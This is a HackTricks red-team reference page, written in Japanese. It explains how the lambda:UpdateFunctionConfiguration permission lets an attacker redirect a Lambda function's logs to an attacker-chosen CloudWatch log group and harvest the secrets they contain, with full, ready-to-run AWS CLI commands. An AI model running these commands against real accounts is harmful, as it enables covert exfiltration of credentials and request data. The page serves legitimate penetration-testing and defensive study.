AWS Lambda – Log Siphon via LoggingConfig.LogGroup Redirection

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

lambda:UpdateFunctionConfiguration を悪用して高度なログ制御により関数のログを攻撃者が選んだ CloudWatch Logs のロググループへリダイレクトします。これはコードや実行ロールを変更せずに動作します(ほとんどの Lambda ロールはすでに logs:CreateLogGroup/CreateLogStream/PutLogEventsAWSLambdaBasicExecutionRole 経由で含んでいます)。関数がシークレットやリクエストボディを出力したり、スタックトレースでクラッシュする場合、新しいロググループからそれらを収集できます。

必要な権限

  • lambda:UpdateFunctionConfiguration
  • lambda:GetFunctionConfiguration
  • lambda:InvokeFunction (または既存のトリガーに依存)
  • logs:CreateLogGroup (関数のロールがそれを持っている場合、多くは不要)
  • logs:FilterLogEvents (イベントを読むため)

手順

  1. sink ロググループを作成
aws logs create-log-group --log-group-name "/aws/hacktricks/ht-log-sink" --region us-east-1 || true
  1. ターゲット関数のログをリダイレクトする
aws lambda update-function-configuration \
--function-name <TARGET_FN> \
--logging-config LogGroup=/aws/hacktricks/ht-log-sink,LogFormat=JSON,ApplicationLogLevel=DEBUG \
--region us-east-1

LastUpdateStatusSuccessful になるまで待つ:

aws lambda get-function-configuration --function-name <TARGET_FN> \
--query LastUpdateStatus --output text
  1. シンクを呼び出して読み取る
aws lambda invoke --function-name <TARGET_FN> /tmp/out.json --payload '{"ht":"log"}' --region us-east-1 >/dev/null
sleep 5
aws logs filter-log-events --log-group-name "/aws/hacktricks/ht-log-sink" --limit 50 --region us-east-1 --query 'events[].message' --output text

影響

  • アプリケーション/システムのすべてのログを秘密裏に自分が管理するロググループへリダイレクトし、ログが /aws/lambda/<fn> のみに格納されるという想定を回避する。
  • Exfiltrate 関数が出力したデータやエラーで露出した機密情報を抜き出す。

クリーンアップ

aws lambda update-function-configuration --function-name <TARGET_FN> \
--logging-config LogGroup=/aws/lambda/<TARGET_FN>,LogFormat=Text,ApplicationLogLevel=INFO \
--region us-east-1 || true

注意

  • ログ制御は Lambda の LoggingConfig (LogGroup, LogFormat, ApplicationLogLevel, SystemLogLevel) の一部です。
  • デフォルトでは、Lambda はログを /aws/lambda/<function> に送信しますが、任意の LogGroup 名を指定できます。許可があれば Lambda(または実行ロール)がそれを作成します。

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする